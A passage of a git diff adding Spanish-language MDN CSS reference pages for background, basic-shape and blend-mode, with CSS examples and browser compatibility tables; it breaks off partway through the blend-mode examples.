+<p><span class="long_text" id="result_box"><span style="background-color: #ffffff;" title="[2] WebKit-based browsers originally implemented an older draft of CSS3 background-size in which an omitted second value is treated as duplicating the first value; this draft does not include the contain or cover keywords.">[2] Los navegadores basados ​​en WebKit- originalmente implementado un proyecto anterior de background-size CSS3 en que se trata de un valor omitido segundo como duplicar el primer valor; este proyecto no incluye el cover o contain palabras claves.</span></span></p>
+
+<p>[3] Konqueror 3.5.4 <code>soportan -khtml-background-size</code>.</p>
+
+<p>[4] <span class="long_text" id="result_box" lang="es"><span>Si bien</span> <span class="hps">esta</span> <span class="hps">propiedad es nueva en</span> </span> Gecko 1.9.2 (Firefox 3.6), <span class="long_text" id="result_box" lang="es"><span class="gt-trans-draggable">es</span> <span class="gt-trans-draggable hps">posible estirar</span> <span class="gt-trans-draggable hps">una imagen completamente</span> <span class="gt-trans-draggable hps">sobre el fondo</span> <span class="gt-trans-draggable hps">en Firefox</span> <span class="gt-trans-draggable hps">3.5 usando</span></span> {{ cssxref("-moz-border-image") }}.</p>
+
+<pre class="brush:css">.foo {
+  background-image: url(bg-image.png);
+
+  -webkit-background-size: 100% 100%;           /* Safari 3.0 */
+     -moz-background-size: 100% 100%;           /* Gecko 1.9.2 (Firefox 3.6) */
+       -o-background-size: 100% 100%;           /* Opera 9.5 */
+          background-size: 100% 100%;           /* Gecko 2.0 (Firefox 4.0) and other CSS3-compliant browsers */
+
+  -moz-border-image: url(bg-image.png) 0;    /* Gecko 1.9.1 (Firefox 3.5) */
+}</pre>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/CSS_Reference" title="CSS Reference">CSS Reference</a></li>
+ <li><a href="/en-US/docs/CSS/Multiple_backgrounds" title="en-US/docs/CSS/Multiple backgrounds">Multiple backgrounds</a></li>
+ <li><a href="/en-US/docs/CSS/Scaling_background_images" title="/en-US/docs/CSS/Scaling_background_images">Scaling background images</a></li>
+</ul>
diff --git a/files/es/web/css/background/index.html b/files/es/web/css/background/index.html
new file mode 100644
index 0000000000..d982708096
--- /dev/null
+++ b/files/es/web/css/background/index.html
@@ -0,0 +1,138 @@
+---
+title: background
+slug: Web/CSS/background
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Todas_las_Categorías
+translation_of: Web/CSS/background
+---
+<p>{{CSSRef}}</p>
+
+<p>La propiedad <code>background</code> es un atajo para definir los valores individuales del fondo en una única regla CSS. Se puede usar <code>background</code> para definir los valores de una o de todas las propiedades siguientes: {{ Cssxref("background-attachment") }}, {{ Cssxref("background-color", "color") }}, {{ Cssxref("background-image", "image") }}, {{ Cssxref("background-position", "position") }}, {{ Cssxref("background-repeat", "repeat") }}.</p>
+
+<ul>
+ <li>{{ Cssxref("initial", "Valor inicial") }}: ver propiedades individuales</li>
+ <li>Se aplica a: todos los elementos</li>
+ <li>{{ Cssxref("inheritance", "Herencia") }}: no</li>
+ <li>Porcentajes: permitido en {{ Cssxref("background-position", "posición") }}</li>
+ <li>Medio: {{ Cssxref("Media:Visual", "visual") }}</li>
+ <li>{{ Cssxref("computed value", "Valor calculada") }}: ver propiedades individuales</li>
+</ul>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre>/* Usando &lt;background-color&gt; */
+background: green;
+
+/* Usando &lt;bg-image&gt; y &lt;repeat-style&gt; */
+background: url("test.jpg") repeat-y;
+
+/* Usando &lt;box&gt; and &lt;background-color&gt; */
+background: border-box red;
+
+/* Una sola imagen, centrada y escalada */
+background: no-repeat center/80% url("../img/image.png");</pre>
+
+<p>La propiedad  <code>background</code> se especifica como una o más capas de fondo, separadas por comas.</p>
+
+<p>La sintaxis de cada capa es la siguiente:</p>
+
+<ul>
+ <li>Cada capa puede incluir cero o una ocurrencia de cualquiera de los siguientes valores
+  <ul>
+   <li><code><a href="https://wiki.developer.mozilla.org/es/docs/Web/CSS/background$edit#%3Cattachment%3E">&lt;attachment&gt;</a></code></li>
+   <li><code><a href="https://wiki.developer.mozilla.org/es/docs/Web/CSS/background$edit#%3Cbg-image%3E">&lt;bg-image&gt;</a></code></li>
+   <li><code><a href="https://wiki.developer.mozilla.org/es/docs/Web/CSS/background$edit#%3Cposition%3E">&lt;position&gt;</a></code></li>
+   <li><code><a href="https://wiki.developer.mozilla.org/es/docs/Web/CSS/background$edit#%3Cbg-size%3E">&lt;bg-size&gt;</a></code></li>
+   <li><code><a href="https://wiki.developer.mozilla.org/es/docs/Web/CSS/background$edit#%3Crepeat-style%3E">&lt;repeat-style&gt;</a></code></li>
+  </ul>
+ </li>
+ <li>El valor <code><a href="https://wiki.developer.mozilla.org/es/docs/Web/CSS/background$edit#%3Cbg-size%3E">&lt;bg-size&gt;</a></code> sólo puede ser incluido inmediatamente después de la <a href="https://wiki.developer.mozilla.org/es/docs/Web/CSS/background$edit#%3Cposition%3E">&lt;position&gt;</a>, separado con el carácter '/', así: "<code>center/80%</code>".</li>
+ <li>El valor <a href="https://wiki.developer.mozilla.org/es/docs/Web/CSS/background$edit#%3Cbox%3E">&lt;box&gt;</a> puede ser incluido cero, una o dos veces. Si se incluye una vez, establece ambos {{cssxref("background-origin")}} y {{cssxref("background-clip")}}. Si se incluye dos veces, la primera ocurrencia establece {{cssxref("background-origin")}}, y el segundo conjunto {{cssxref("background-clip")}}.</li>
+ <li>El valor <code><a href="https://wiki.developer.mozilla.org/es/docs/Web/CSS/background$edit#%3Cbackground-color%3E">&lt;background-color&gt;</a></code> sólo puede ser incluido en la última capa especificada.</li>
+</ul>
+
+<h2 id="Valores" name="Valores">Valores</h2>
+
+<dl>
+ <dt>background-color</dt>
+ <dd>ver <code><a href="/es/CSS/background-color" title="es/CSS/background-color">color</a></code>.</dd>
+ <dt>background-image </dt>
+ <dd>ver <code><a href="/es/CSS/background-image" title="es/CSS/background-image">image</a></code>.</dd>
+ <dt>background-repeat </dt>
+ <dd>ver <code><a href="/es/CSS/background-repeat" title="es/CSS/background-repeat">repeat</a></code>.</dd>
+ <dt>background-attachment </dt>
+ <dd>ver <code><a href="/es/CSS/background-attachment" title="es/CSS/background-attachment">background-attachment</a></code>.</dd>
+ <dt>background-position </dt>
+ <dd>ver <code><a href="/es/CSS/background-position" title="es/CSS/background-position">position</a></code>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="topbanner"&gt;
+  Starry sky&lt;br/&gt;
+  Twinkle twinkle&lt;br/&gt;
+  Starry sky
+&lt;/p&gt;
+&lt;p class="warning"&gt;Here is a paragraph&lt;p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css' highlight:[2,6];">.warning {
+  background: red;
+}
+
+.topbanner {
+  background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #00D repeat-y fixed;
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Ejemplos")}}</p>
+
+<h2 id="Notas" name="Notas">Notas</h2>
+
+<p>Tomando una declaración válida, la propiedad <code>background</code> inicia las propiedades individuales a sus valores iniciales para después asignarles los valores especificadas explícitamente en la declaración. No hay que definir un valor por cada propiedad individual, se cambia solo las que necesitamos en relación al valor por defecto.</p>
+
+<h2 id="Especificaciones" name="Especificaciones">Especificaciones</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#background">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#the-background">CSS 3</a></li>
+</ul>
+
+<h2 id="Compatibilidad_de_navegadores" name="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Mínima versión</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>3.5</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h2>
+
+<p>{{ Cssxref("background") }}, {{ Cssxref("background-attachment") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}</p>
diff --git a/files/es/web/css/basic-shape/index.html b/files/es/web/css/basic-shape/index.html
new file mode 100644
index 0000000000..7ebf5eb24b
--- /dev/null
+++ b/files/es/web/css/basic-shape/index.html
@@ -0,0 +1,208 @@
+---
+title: <basic-shape>
+slug: Web/CSS/basic-shape
+tags:
+  - CSS
+  - Referencia
+  - Tipo de Dato CSS
+translation_of: Web/CSS/basic-shape
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El tipo <strong><code>&lt;basic-shape&gt;</code></strong> puede ser especificado usando funciones de figura (shape) básicas. Al usar esta sintaxis para definir figuras, la caja de referencia es definida por cada propiedad que usa valores <code>&lt;basic-shape&gt;</code>. El sistema de coordenadas para la figura tiene su origen en la esquina superior izquierda de la caja de referencia, con el eje x corriendo hacia la derecha y el eje y, hacia abajo. Todas las longitudes expresadas en porcentajes son resueltas con base en las dimensiones de la caja de referencia.</p>
+
+<h2 id="Figuras_posibles">Figuras posibles</h2>
+
+<p>Las siguientes figuras son soportadas. Todos los valores <code>&lt;basic-shape&gt;</code> usan notación funcional y son definidos aquí usando la <a href="/es/docs/Web/CSS/Sintaxis_definición_de_valor">sintaxis de definición de valor</a>.</p>
+
+<dl>
+ <dt><code><a name="inset"></a>inset()</code></dt>
+ <dd>
+ <pre class="syntaxbox"><code>inset( &lt;shape-arg&gt;{1,4} [round &lt;border-radius&gt;]? )</code></pre>
+
+ <p>Define un rectángulo incrustado.</p>
+
+ <p>Cuando se proporcionan los cuatro primeros argumentos, representan la separación superior, derecha, inferior e izquierda del interior de la caja de referencia que define las posiciones de los bordes del rectángulo interior. Estos argumentos siguen la sintaxis de la abreviatura de margen, que permite definir los cuatro valores en uno, dos o cuatro valores.</p>
+
+ <p>Los argumentos opcionales <a href="/es/docs/Web/CSS/border-radius"><code>&lt;border-radius&gt;</code></a> definen esquinas redondeadas para el rectángulo incrustado usando la sintaxis de abreviatura de border-radius.</p>
+
+ <p>Cuando un par de valores inset en cualquier dimensión suman un valor mayor al límite de la dimensión disponible (como por ejemplo, que los valores inset izquierdo y derecho sean de 75% cada uno), se está definiendo una figura que no encierra ningun área. Para esta especificación, el resultado es un área flotante vacía.</p>
+ </dd>
+ <dt><code><a name="polygon"></a>polygon()</code></dt>
+ <dd>
+ <pre class="syntaxbox"><code>polygon( [&lt;fill-rule&gt;,]? [&lt;shape-arg&gt; &lt;shape-arg&gt;]# )</code></pre>
+
+ <p><code>&lt;fill-rule&gt;</code> representa la <a href="/es/docs/Web/SVG/Attribute/fill-rule">regla de llenado</a> usada para determinar el área interior del polígono. Los valores posibles son <code>nonzero</code> y <code>evenodd</code>. El valor predeterminado es <code>nonzero</code>.</p>
+
+ <p>Cada elemento par de la lista representa <em>x<sub>i</sub></em> y <em>y<sub>i</sub></em> - las coordenadas del eje x y el eje y en el vértice <em>i</em> del polígono.</p>
+ </dd>
+ <dt><code><a name="circle"></a>circle(</code>)</dt>
+ <dd>
+ <pre class="syntaxbox"><code><code><code>circle( [&lt;shape-radius&gt;]? [at &lt;position&gt;]? )</code></code></code></pre>
+
+ <p>El argumento <code>&lt;shape-radius&gt;</code> representa a <em>r</em>, el radio del círculo. Los valores negativos son inválidos. Un valor en porcentaje es resuelto de la anchura y altura presentes de la caja de referencia como <code>sqrt(width^2+height^2)/sqrt(2)</code>.</p>
+
+ <p>El argumento {{cssxref("&lt;position&gt;")}} define el centro del círculo. Su valor predeterminado es <code>center</code>.</p>
+ </dd>
+ <dt><code><a name="ellipse"></a>ellipse()</code></dt>
+ <dd>
+ <pre class="syntaxbox"><code><code><code>ellipse( [&lt;shape-radius&gt;{2}]? [at &lt;position&gt;]? )</code></code></code></pre>
+
+ <p>El argumento <code>&lt;shape-radius&gt;</code> representa a r<sub>x</sub> y r<sub>y</sub>, los radios del eje x y del eje y de la elipse, en ese orden. Los valores negativos son inválidos. Los valores en porcentaje son resueltos contra la anchura (para r<sub>x</sub>) y altura (para r<sub>y</sub>) presentes en la caja de referencia.</p>
+
+ <p>El argumento {{cssxref("&lt;position&gt;")}} define el centro de la elipse. Su valor predeterminado es <code>center</code>.</p>
+ </dd>
+</dl>
+
+<p>Los argumentos no definidos arriba son definidos de esta forma:</p>
+
+<pre class="syntaxbox"><code>&lt;shape-arg&gt; = &lt;length&gt; | &lt;percentage&gt;
+&lt;shape-radius&gt; = &lt;length&gt; | &lt;percentage&gt; | closest-side | farthest-side</code></pre>
+
+<p>Define un radio para un círculo o elipse. Su valor predeterminado es <code>closest-side</code>.</p>
+
+<p><code>closest-side</code> usa la longitud desde el centro de la figura hasta el borde más cercano de la caja de referencia. Para círculos, es el lado más cercano en cualquier dimensión. Para elipses, es el lado más cercano en la dimensión del radio.</p>
+
+<p><code>farthest-side</code> use la longitud desde el centro de la figura hasta el lado más alejado de la caja de referencia. Para círculos, es el lado más alejado en cualquier dimensión. Para elipses, es el lado más alejado en la dimensión del radio.</p>
+
+<h2 id="Valores_Calculados_de_Figuras_Básicas">Valores Calculados de Figuras Básicas</h2>
+
+<p>Los valores en una función <code>&lt;basic-shape&gt;</code> son calculados segun se especifica, con estas excepciones:</p>
+
+<ul>
+ <li>Valores omitidos son incluidos y calculados acorde a su valor predeterminado.</li>
+ <li>Un valor {{cssxref("&lt;position&gt;")}} en <code>circle()</code> o  <code>ellipse()</code> es calculado como un par de separaciones (horizontal y después vertical) desde el origen superior izquierdo, cada uno dado como combinación de una longitud absoluta y un porcentaje.</li>
+ <li>Un valor <a href="/en-US/docs/Web/CSS/border-radius"><code>&lt;border-radius&gt;</code></a> en <code>inset()</code> es calculado como una lista expandida de ocho valores {{cssxref("length")}} o de porcentaje.</li>
+</ul>
+
+<h2 id="Interpolación_de_Figuras_Básicas">Interpolación de Figuras Básicas</h2>
+
+<div>Para interpolar dos figuras, se aplican las reglas a continuación. Los valores en la función de figura se interpolan como una lista simple. La lista de valores se interpola como {{cssxref("length", "length")}}, {{cssxref("percentage", "percentage")}}, o {{cssxref("calc", "calc")}} donde sea posible. Si los valores listados no son de los de esos tipos pero son idénticos (por ejemplo, tener <code>nonzero</code> en la misma posición en ambas listas), sí se interpolan esos valores.</div>
+
+<div> </div>
+
+<ul>
+ <li>Ambas figuras deben usar la misma figura de referencia.</li>
+ <li>Si ambas figuras son del mismo tipo, <code>ellipse()</code> o <code>circle()</code>, y ninguno de los radios usa las palabras clave <code>closest-side</code> o <code>farthest-side</code> keywords, se interpola entre cada valor de las funciones de figura.</li>
+ <li>Si ambas figuras son de tipo <code>inset()</code>, se interpola entre cada valor de las funciones de figura.</li>
+ <li>Si ambas figuras son de tipo <code>polygon()</code>, ambos polígonos tienen el mismo número de vértices y usan la misma regla <a href="/es/docs/Web/SVG/Attribute/fill-rule"><code>&lt;fill-rule&gt;</code></a>, se interpola entre cada valor de la función de figura.</li>
+ <li>En cualquier otro casa no se especifica la interpolación.</li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>TODO</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificicación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS Shapes', '#basic-shape-functions', '&lt;basic-shape&gt;') }}</td>
+   <td>{{ Spec2('CSS Shapes') }}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{compatVersionUnknown()}}</td>
+   <td>{{CompatGeckoDesktop(47)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{compatVersionUnknown()}}</td>
+  </tr>
+  <tr>
+   <td><code>inset()</code></td>
+   <td>{{compatUnknown()}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{compatUnknown()}}</td>
+  </tr>
+  <tr>
+   <td>Animaciones</td>
+   <td>{{compatUnknown()}}</td>
+   <td>{{CompatGeckoDesktop(49)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{compatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{compatVersionUnknown()}}</td>
+   <td>{{compatVersionUnknown()}}</td>
+   <td>{{CompatGeckoMobile(47)}} (behind a pref)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{compatVersionUnknown()}}</td>
+  </tr>
+  <tr>
+   <td><code>inset()</code></td>
+   <td>{{compatUnknown()}}</td>
+   <td>{{compatVersionUnknown()}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{compatUnknown()}}</td>
+  </tr>
+  <tr>
+   <td>Animaciones</td>
+   <td>{{compatUnknown()}}</td>
+   <td>{{compatUnknown()}}</td>
+   <td>{{CompatGeckoMobile(49)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{compatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><code>{{cssxref("clip-path")}}</code></li>
+ <li><code>{{cssxref("shape-outside")}}</code></li>
+</ul>
diff --git a/files/es/web/css/blend-mode/index.html b/files/es/web/css/blend-mode/index.html
new file mode 100644
index 0000000000..e2a0e41f18
--- /dev/null
+++ b/files/es/web/css/blend-mode/index.html
@@ -0,0 +1,417 @@
+---
+title: <blend-mode>
+slug: Web/CSS/blend-mode
+tags:
+  - Composición
+  - Composición CSS
+  - Modos de mezcla
+  - Referencia
+  - Tipo de Dato CSS
+translation_of: Web/CSS/blend-mode
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El tipo <strong><code>&lt;blend-mode&gt;</code></strong> es una coleccion de palabras clave que describen modos de mezcla.</p>
+
+<p>Un modo de mezcla (blend mode) es un método para calcular el color final de un píxel cuando hay dos capas superpuestas. Cada modo de mezcla toma el valor del color de primer plano y el de fondo (color superior y color inferior, respectivamente), realiza su cálculo y devuelve el valor de color. La capa final visible es el resultado de realizar el cálculo del modo de mezcla en cada pixel sobrepuesto entre las capas mezcladas.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Sintaxis formal: normal | multiply | screen | overlay | darken | lighten | color-dodge | color-burn | hard-light | soft-light | difference | exclusion | hue | saturation | color | luminosity</pre>
+
+<h3 id="Valores_posibles">Valores posibles</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>
+ <p>El color final es el de la capa superior, sin importar el color de fondo.<br>
+  El efecto es similar a dos trozos de papel sobrepuestos.</p>
+
+ <div id="normal">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: normal;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('normal', "300", "300") }}</p>
+ </dd>
+ <dt><code>multiply</code></dt>
+ <dd>
+ <p>El color final es el resultado de multiplicar el color superior y el inferior.<br>
+  Una capa negra conduce a una capa final negra, y una capa blanca lleva a que no haya cambios.<br>
+  El efecto ese similar a dos imágenes impresas en papel transparente sobrepuestas.</p>
+
+ <div id="multiply">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: multiply;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('multiply', "300", "300") }}</p>
+ </dd>
+ <dt><code>screen</code></dt>
+ <dd>
+ <p>El color final ees el resultado de invertir los colores, multiplicándolos e invirtiendo el valor resultante.<br>
+  Una capa negra no produce cambio alguno, y una capa blanca conduce a una capa blanca final.<br>
+  El efecto es similar a dos imágenes mostrándose desde un proyector.</p>
+
+ <div id="screen">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: screen;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('screen', "300", "300") }}</p>
+ </dd>
+ <dt><code>overlay</code></dt>
+ <dd>El color final es el resultado de <code>multiply</code> si el color inferior es más oscuro, o <code>screen</code> si el color inferior es más claro.<br>
+ Este modo de mezcla es equivalente a <code>hard-light</code>, pero si las capas son intercambiadas.
+ <div id="overlay">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: overlay;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('overlay', "300", "300") }}</p>
+ </dd>
+ <dt><code>darken</code></dt>
+ <dd>
+ <p>El resultado final es un color compuesto de los valores más oscuros por cada canal de color.</p>
+
+ <div id="darken">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: darken;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('darken', "300", "300") }}</p>
+ </dd>
+ <dt><code>lighten</code></dt>
+ <dd>
+ <p>El resultado final es un color compuesto de los valores más claros por cada canal de color.</p>
+
+ <div id="lighten">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: lighten;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('lighten', "300", "300") }}</p>
+ </dd>
+ <dt><code>color-dodge</code></dt>
+ <dd>
+ <p>El color final es el resultado de dividir el color inferior por el inverso del color superior.<br>
+  Un fondo negro no produce cambio alguno. Un color de primer plano con el color invertido del fondo produce un color completamente iluminado.<br>
+  Este modo de mezcla es similar a <code>screen</code>, pero basta con que el color de primer plano sea tan claro como el inverso del color de fondo para alcanzar un color completamente iluminado.</p>
+
+ <div id="color-dodge">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: color-dodge;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('color-dodge', "300", "300") }}</p>
+ </dd>
+ <dt><code>color-burn</code></dt>
+ <dd>
+ <p>El color final es el resultado de invertir el color de fondo, dividier el valor por el color superior, e invertir ese valor.<br>
+  Un fondo blanco no produce cambio alguno. Un color de primer plano con el color invertido del fondo produce una imagen negra.<br>
+  Este modo de mezcla es similar a <code>multiply</code>, pero basta con que el color de primer plano sea tan oscuro como el inverso del color de fondo para dar como resultado una imagen negra.</p>
+
+ <div id="color-burn">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: color-burn;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('color-burn', "300", "300") }}</p>
+ </dd>
+ <dt><code>hard-light</code></dt>
+ <dd>
+ <p>El color final es el resultado de <code>multiply</code> si el color superior es más oscuro, o <code>screen</code> si el color superior es más oscuro.<br>
+  Este modo de mezcla es equivalente a <code>overlay</code>, pero con las capas intercambiadas.<br>
+  El efecto es similar a encender un foco con mucha <em>intensidad</em> en el fondo.</p>
+
+ <div id="hard-light">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: hard-light;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('hard-light', "300", "300") }}</p>
+ </dd>
+ <dt><code>soft-light</code></dt>
+ <dd>
+ <p>El color final es similar a <code>hard-light</code>, pero más suave.<br>
+  Este modo de mezcla se comporta similar a <code>hard-light</code>.<br>
+  El efecto es similar a encender un foco <em>difuso</em> en el fondo<em><code>.</code></em></p>
+
+ <div id="soft-light">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: soft-light;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('soft-light', "300", "300") }}</p>
+ </dd>
+ <dt><code>difference</code></dt>
+ <dd>
+ <p>El color final es elresultado de restar el color más oscuro de las dos capas, del más claro.<br>
+  Una capa negra no produce efecto alguno, mientras una capa blanca invierte el color de la otra capa.</p>
+
+ <div id="difference">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: difference;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('difference', "300", "300") }}</p>
+ </dd>
+ <dt><code>exclusion</code></dt>
+ <dd>
+ <p>El color final es similar a <code>difference,</code> pero con menor contraste.<br>
+  Así como con <code>difference</code>,  una capa negra no produce efecto alguno, mientras una capa blanca invierte el color de la otra capa.</p>
+
+ <div id="exclusion">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: exclusion;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('exclusion', "300", "300") }}</p>
+ </dd>
+ <dt><code>hue</code></dt>
+ <dd>
+ <p>El color final tiene el <em>matiz</em> del color superior, mientras usa la <em>saturación</em> y <em>luminosidad</em> del color inferior.</p>
+
+ <div id="hue">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: hue;
+}</pre>
+ </div>
+
+ <p>{{ EmbedLiveSample('hue', "300", "300") }}</p>
+ </dd>
+ <dt><code>saturation</code></dt>
+ <dd>
+ <p>El color final tiene la <em>saturación</em> del color superior, mientras usa el <em>matiz</em> y <em>luminosidad</em> del color inferior.<br>
+  Un fondo gris puro, que no tenga saturación, no producirá efecto alguno.</p>
+
+ <div id="saturation">
+ <pre class="brush: html" style="display: none;">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css" style="display: none;">#div {
+    width: 300px;
+    height: 300px;
